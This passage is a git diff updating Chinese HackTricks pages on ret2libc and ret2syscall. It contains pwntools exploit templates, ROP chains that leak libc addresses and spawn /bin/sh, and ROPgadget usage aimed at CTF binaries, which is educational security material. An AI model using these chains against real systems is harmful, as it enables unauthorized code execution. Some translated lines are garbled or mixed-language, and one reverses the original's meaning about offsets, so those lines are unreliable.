Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
index a974494a5..0f4a1b9fa 100644
--- a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
@@ -1,30 +1,31 @@
-# 使用ROP泄漏libc地址
+# 使用 ROP 泄露 libc 地址
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-其他支持HackTricks的方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
-## 快速总结
+## 快速概述
-1. **找到**溢出**偏移量**
-2. **找到** `POP_RDI` 机关、`PUTS_PLT` 和 `MAIN` 机关
-3. 使用前述机关**泄漏puts或其他libc函数的内存地址**并**找到libc版本**（[下载地址](https://libc.blukat.me)）
-4. 利用库，**计算ROP并利用它**
+1. **找到** 溢出 **偏移量**
+2. **找到** `POP_RDI` gadget、`PUTS_PLT` 和 `MAIN` gadgets
+3. 使用之前的 gadgets **泄露 puts 或其他 libc 函数的内存地址** 并 **找到 libc 版本** ([下载它](https://libc.blukat.me))
+4. 使用库，**计算 ROP 并进行利用**
-## 其他教程和二进制文件练习
+## 其他教程和二进制文件以供实践
-本教程将利用此教程中提出的代码/二进制文件进行利用：[https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
-其他有用的教程：[https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/)，[https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
+本教程将利用本教程中提出的代码/二进制文件：[https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
+另一个有用的教程：[https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/)，[https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
## 代码
@@ -46,7 +47,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - 泄露 LIBC 模板
-下载 exploit 并将其放置在易受攻击的二进制文件相同的目录中，并向脚本提供所需的数据：
+下载漏洞利用程序并将其放置在与易受攻击的二进制文件相同的目录中，并向脚本提供所需的数据：
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
@@ -54,7 +55,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
## 1- 查找偏移量
-在继续利用之前，模板需要一个偏移量。如果没有提供偏移量，它将执行必要的代码来查找它（默认为 `OFFSET = ""`）：
+模板在继续进行漏洞利用之前需要一个偏移量。如果提供了任何偏移量，它将执行必要的代码来查找它（默认 `OFFSET = ""`）：
```bash
###################
### Find offset ###
@@ -69,21 +70,21 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
-**执行** `python template.py`，将打开一个 GDB 控制台，程序将崩溃。在该 **GDB 控制台** 中执行 `x/wx $rsp` 以获取将要覆盖 RIP 的 **字节**。最后，在 **python** 控制台中获取 **偏移量**：
+**执行** `python template.py` 将打开一个 GDB 控制台，程序将崩溃。在该 **GDB 控制台** 中执行 `x/wx $rsp` 以获取将要覆盖 RIP 的 **字节**。最后使用 **python** 控制台获取 **偏移量**：
```python
from pwn import *
cyclic_find(0x6161616b)
```
.png>)
-在找到偏移量（在本例中为40）后，使用该值更改模板中的OFFSET变量。\
+在找到偏移量（在这种情况下为 40）后，使用该值更改模板中的 OFFSET 变量。\
`OFFSET = "A" * 40`
-另一种方法是使用：`pattern create 1000` -- _执行直到ret_ -- 从 GEF 中执行 `pattern seach $rsp`。
+另一种方法是使用： `pattern create 1000` -- _执行直到 ret_ -- `pattern seach $rsp` 从 GEF。
-## 2- 查找Gadgets
+## 2- 寻找 Gadgets
-现在我们需要在二进制文件中找到ROP gadgets。这些ROP gadgets将有助于调用`puts`来查找正在使用的**libc**，并稍后**启动最终的利用**。
+现在我们需要在二进制文件中找到 ROP gadgets。这些 ROP gadgets 将用于调用 `puts` 以找到正在使用的 **libc**，并随后 **启动最终的利用**。
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@@ -94,15 +95,15 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
-`PUTS_PLT` 用于调用 **puts 函数**。\
-`MAIN_PLT` 用于在一次交互后再次调用 **主函数** 以便再次 **利用** 溢出（无限次利用）。**它用于在每个 ROP 结尾处再次调用程序**。\
-**POP\_RDI** 用于向被调用函数 **传递** 参数。
+The `PUTS_PLT` 是调用 **function puts** 所需的。\
+The `MAIN_PLT` 是在一次交互后再次调用 **main function** 以 **exploit** 溢出 **again**（无限轮次的利用）所需的。**它在每个 ROP 的末尾用于再次调用程序**。\
+The **POP\_RDI** 是 **pass** 一个 **parameter** 给被调用的函数所需的。
-在这一步中，您无需执行任何操作，因为在执行过程中 pwntools 将找到一切。
+在这一步你不需要执行任何操作，因为所有内容将在执行期间由 pwntools 找到。
## 3- 查找 libc 库
-现在是时候找出正在使用的 **libc** 库的版本了。为此，我们将 **泄漏** `puts` 函数在内存中的 **地址**，然后我们将 **搜索** `puts` 版本所在的库版本。
+现在是时候找出正在使用的 **libc** 库的版本了。为此，我们将 **leak** **function** `puts` 在内存中的 **address**，然后我们将 **search** 在该地址中 **library version** 的 puts 版本。
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
@@ -131,32 +132,32 @@ if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
-为了做到这一点，执行的代码中最重要的一行是：
+要做到这一点，执行代码中最重要的一行是：
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
-这将发送一些字节，直到**覆盖** **RIP** 可能为止：`OFFSET`。\
-然后，它将设置**gadget** `POP_RDI`的**地址**，以便下一个地址（`FUNC_GOT`）将被保存在**RDI**寄存器中。这是因为我们想要**调用 puts**，将`PUTS_GOT`的**地址**作为参数传递给它，因为内存中 puts 函数的地址保存在由 `PUTS_GOT` 指向的地址中。\
-之后，将调用 `PUTS_PLT`（带有 `PUTS_GOT` 在**RDI**中），因此 puts 将**读取** `PUTS_GOT` 中的内容（**内存中 puts 函数的地址**）并将其**打印出来**。\
-最后，**再次调用 main 函数**，以便我们可以再次利用溢出。
+这将发送一些字节，直到**覆盖****RIP**成为可能：`OFFSET`。\
+然后，它将设置小工具`POP_RDI`的**地址**，以便下一个地址（`FUNC_GOT`）将被保存在**RDI**寄存器中。这是因为我们想要**调用 puts**，**传递**它`PUTS_GOT`的**地址**，因为 puts 函数在内存中的地址保存在指向`PUTS_GOT`的地址中。\
+之后，将调用`PUTS_PLT`（在**RDI**中包含`PUTS_GOT`），因此 puts 将**读取**`PUTS_GOT`中的内容（**内存中 puts 函数的地址**）并将其**打印出来**。\
+最后，**再次调用主函数**，以便我们可以再次利用溢出。
-这样，我们已经**欺骗 puts 函数**，使其**打印**出**puts**函数（位于**libc**库中）的**内存中的地址**。现在我们有了该地址，我们可以**查找正在使用的 libc 版本**。
+通过这种方式，我们已经**欺骗了 puts 函数**，使其**打印**出**内存**中函数**puts**的**地址**（该地址位于**libc**库中）。现在我们有了这个地址，我们可以**搜索正在使用的 libc 版本**。
.png>)
-由于我们正在**利用**一些**本地**二进制文件，**不需要**弄清楚正在使用的**libc**版本（只需在`/lib/x86_64-linux-gnu/libc.so.6`中找到该库）。\
-但是，在远程利用案例中，我将在这里解释如何找到它：
+由于我们正在**利用**某个**本地**二进制文件，因此**不需要**弄清楚正在使用哪个版本的**libc**（只需在`/lib/x86_64-linux-gnu/libc.so.6`中找到库）。\
+但是，在远程利用的情况下，我将在这里解释如何找到它：
-### 3.1- 搜索 libc 版本（1）
+### 3.1- 搜索 libc 版本 (1)
您可以在网页上搜索正在使用的库：[https://libc.blukat.me/](https://libc.blukat.me)\
-它还将允许您下载发现的**libc**版本
+它还允许您下载发现的**libc**版本。
.png>)
-### 3.2- 搜索 libc 版本（2）
+### 3.2- 搜索 libc 版本 (2)
-您也可以执行以下操作：
+您还可以执行：
* `$ git clone https://github.com/niklasb/libc-database.git`
* `$ cd libc-database`
@@ -166,15 +167,15 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
为了使其工作，我们需要：
* Libc 符号名称：`puts`
-* 泄漏的 libc 地址：`0x7ff629878690`
+* 泄露的 libc 地址：`0x7ff629878690`
-我们可以弄清楚最有可能使用的**libc**。
+我们可以找出最有可能使用的**libc**。
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
-我们得到2个匹配项（如果第一个不起作用，您应该尝试第二个）。下载第一个：
+我们得到了两个匹配（如果第一个不工作，你应该尝试第二个）。下载第一个：
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
@@ -183,9 +184,9 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
-### 3.3- 用于泄漏的其他函数
+将 `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` 中的 libc 复制到我们的工作目录。
-将`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`中的libc复制到我们的工作目录。
+### 3.3- 其他泄露函数
```python
puts
printf
@@ -193,25 +194,25 @@ __libc_start_main
read
gets
```
-## 4- 寻找基于libc地址并利用
+## 4- 查找基础 libc 地址与利用
-在这一点上，我们应该知道使用的libc库。由于我们正在利用本地二进制文件，我将仅使用:`/lib/x86_64-linux-gnu/libc.so.6`
+在这一点上，我们应该知道使用的 libc 库。由于我们正在利用一个本地二进制文件，我将使用：`/lib/x86_64-linux-gnu/libc.so.6`
-因此，在`template.py`的开头将**libc**变量更改为：`libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
+因此，在 `template.py` 的开头将 **libc** 变量更改为： `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #设置库路径当知道它时`
-给出**libc库**的**路径**，其余的**利用将自动计算**。
+给 **libc 库** 提供 **路径** 后，**利用的其余部分将会自动计算**。
-在`get_addr`函数内，将计算**libc的基地址**：
+在 `get_addr` 函数内部，**libc 的基地址** 将会被计算：
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
{% hint style="info" %}
-请注意，**最终的libc基址必须以00结尾**。如果不是这种情况，您可能已经泄漏了一个不正确的库。
+注意 **最终的 libc 基地址必须以 00 结尾**。如果不是这种情况，您可能泄露了不正确的库。
{% endhint %}
-然后，函数`system`的地址和字符串_"/bin/sh"_的**地址**将从**libc**的**基地址**计算出来，并给出**libc库**。
+然后，函数 `system` 的地址和字符串 _"/bin/sh"_ 的 **地址** 将从 **libc** 的 **基地址** 计算得出，并给定 **libc 库**。
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@@ -220,7 +221,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
-最后，/bin/sh执行利用即将准备发送：
+最后，将准备发送 /bin/sh 执行漏洞：
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@@ -230,18 +231,18 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
-让我们解释这个最终的ROP。\
-最后一个ROP (`rop1`) 结束时再次调用了 main 函数，然后我们可以**再次利用****溢出**（这就是为什么 `OFFSET` 再次出现在这里）。然后，我们想要调用 `POP_RDI` 指向 _"/bin/sh"_ 的**地址**（`BINSH`），并调用 **system** 函数（`SYSTEM`），因为 _"/bin/sh"_ 的地址将作为参数传递。\
-最后，**调用 exit 函数的地址**，这样进程就可以**正常退出**，而不会生成任何警报。
+让我们解释这个最终的 ROP。\
+最后的 ROP (`rop1`) 再次调用了主函数，然后我们可以 **再次利用** 这个 **溢出**（这就是 `OFFSET` 再次出现的原因）。然后，我们想要调用 `POP_RDI` 指向 _"/bin/sh"_ 的 **地址** (`BINSH`)，并调用 **system** 函数 (`SYSTEM`)，因为 _"/bin/sh"_ 的地址将作为参数传递。\
+最后，**退出函数的地址** 被 **调用**，这样进程 **优雅地退出**，不会生成任何警报。
-**这样一来，利用程序将执行一个 \_/bin/sh**\_\*\* shell。\*\*
+**这样，利用将执行一个 \_/bin/sh**\_\*\* shell.\*\*
.png>)
## 4(2)- 使用 ONE\_GADGET
-您还可以使用 [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)来获取一个 shell，而不是使用 **system** 和 **"/bin/sh"。ONE\_GADGET** 将在 libc 库中找到一种方法，只需一个 **ROP 地址**就可以获取一个 shell。\
-然而，通常会有一些约束条件，最常见且易于避免的是 `[rsp+0x30] == NULL`。由于您可以控制 **RSP** 中的值，因此只需发送更多的 NULL 值，就可以避免这个约束条件。
+你也可以使用 [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) 来获取一个 shell，而不是使用 **system** 和 **"/bin/sh"**。**ONE\_GADGET** 将在 libc 库中找到一些方法，只需一个 **ROP 地址** 即可获得 shell。\
+然而，通常会有一些限制，最常见且容易避免的限制是 `[rsp+0x30] == NULL`。由于你控制 **RSP** 中的值，你只需发送一些更多的 NULL 值，以便避免这个限制。
.png>)
```python
@@ -260,7 +261,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
### MAIN\_PLT = elf.symbols\['main'] 未找到
-如果找不到"main"符号。那么您可以找到主代码所在的位置：
+如果“main”符号不存在。然后您可以找到主代码的位置：
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
@@ -274,24 +275,25 @@ MAIN_PLT = 0x401080
如果二进制文件没有使用Puts，您应该检查它是否使用
-### `sh: 1: %s%s%s%s%s%s%s%s: not found`
+### `sh: 1: %s%s%s%s%s%s%s%s: 未找到`
-如果在创建所有利用后发现这个**错误**：`sh: 1: %s%s%s%s%s%s%s%s: not found`
+如果在创建**所有**漏洞利用后发现此**错误**：`sh: 1: %s%s%s%s%s%s%s%s: 未找到`
-尝试**从"/bin/sh"的地址中减去64字节**：
+尝试**从“/bin/sh”的地址中减去64字节**：
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
index fc17b55ac..81f3ef5f7 100644
--- a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
@@ -1,18 +1,19 @@
-# 泄漏libc - 模板
+# 泄露 libc - 模板
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-其他支持HackTricks的方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
index 2f0918af5..a76434de7 100644
--- a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
+++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
@@ -1,39 +1,40 @@
# Ret2syscall
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
## 基本信息
-这类似于Ret2lib，但在这种情况下，我们不会调用库中的函数。在这种情况下，一切都将准备好调用`sys_execve`系统调用，带有一些参数来执行`/bin/sh`。这种技术通常用于静态编译的二进制文件，因此可能有大量的gadget和syscall指令。
+这与 Ret2lib 类似，然而在这种情况下，我们不会调用库中的函数。在这种情况下，一切都将准备好调用 syscall `sys_execve`，并传递一些参数以执行 `/bin/sh`。这种技术通常在静态编译的二进制文件上执行，因此可能会有很多 gadgets 和 syscall 指令。
-为了准备**syscall**的调用，需要进行以下配置：
+为了准备对 **syscall** 的调用，需要以下配置：
-* `rax: 59 指定sys_execve`
-* `rdi: 指向"/bin/sh"的指针，指定要执行的文件`
-* `rsi: 0 指定未传递任何参数`
-* `rdx: 0 指定未传递任何环境变量`
+* `rax: 59 指定 sys_execve`
+* `rdi: 指向 "/bin/sh" 的指针，指定要执行的文件`
+* `rsi: 0 指定不传递参数`
+* `rdx: 0 指定不传递环境变量`
-因此，基本上需要在某个地方写入字符串`/bin/sh`，然后执行`syscall`（注意控制堆栈所需的填充）。为此，我们需要一个gadget来将`/bin/sh`写入已知区域。
+所以，基本上需要将字符串 `/bin/sh` 写入某个地方，然后执行 `syscall`（注意控制栈所需的填充）。为此，我们需要一个 gadget 来在已知区域写入 `/bin/sh`。
{% hint style="success" %}
-另一个有趣的要调用的syscall是**`mprotect`**，它允许攻击者**修改内存中页面的权限**。这可以与[**ret2shellcode**](../../stack-overflow/stack-shellcode/)结合使用。
+另一个有趣的 syscall 是 **`mprotect`**，这将允许攻击者 **修改内存中页面的权限**。这可以与 [**ret2shellcode**](../../stack-overflow/stack-shellcode/) 结合使用。
{% endhint %}
-## 寄存器gadget
+## 寄存器 gadgets
-让我们开始找到**如何控制这些寄存器**：
+让我们开始寻找 **如何控制这些寄存器**：
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
@@ -41,13 +42,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
-使用这些地址，可以**将内容写入堆栈并加载到寄存器中**。
+使用这些地址可以**在堆栈中写入内容并将其加载到寄存器中**。
-## 写入字符串
+## 写字符串
### 可写内存
-首先，您需要在内存中找到一个可写的位置
+首先，您需要在内存中找到一个可写的位置。
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@@ -56,16 +57,16 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
-### 写入内存中的字符串
+### 在内存中写入字符串
-然后，您需要找到一种方法在这个地址中写入任意内容
+然后你需要找到一种方法在这个地址写入任意内容
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### 自动化 ROP 链
-以下命令在存在 write-what-where gadgets 和 syscall 指令时，针对静态二进制文件创建完整的 `sys_execve` ROP 链：
+以下命令在存在 write-what-where gadgets 和 syscall 指令时，给定一个静态二进制文件，创建一个完整的 `sys_execve` ROP 链：
```bash
ROPgadget --binary vuln --ropchain
```
@@ -109,11 +110,13 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## 缺少小工具
-如果您**缺少小工具**，例如在内存中写入`/bin/sh`，您可以使用**SROP技术来控制栈中的所有寄存器值**（包括RIP和参数寄存器）：
+如果你**缺少小工具**，例如在内存中写入`/bin/sh`，你可以使用**SROP技术来控制所有寄存器值**（包括RIP和参数寄存器）从栈中：
{% content-ref url="../srop-sigreturn-oriented-programming/" %}
[srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/)
{% endcontent-ref %}
+
+## 利用示例
```python
from pwn import *
@@ -180,11 +183,26 @@ target.sendline(payload)
target.interactive()
```
-## 其他示例和参考资料
+## 其他示例与参考
-* [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
-* 64位，无PIE，nx，在某个内存中写入一个ROP以调用`execve`并跳转到那里。
-* [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
-* 64位，nx，无PIE，在某个内存中写入一个ROP以调用`execve`并跳转到那里。为了在堆栈中写入执行数学运算的函数而被滥用
-* [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
-* 64位，无PIE，nx，BF canary，在某个内存中写入一个ROP以调用`execve`并跳转到那里。
+* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
+* 64位，无PIE，nx，在某些内存中写入ROP以调用`execve`并跳转到那里。
+* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
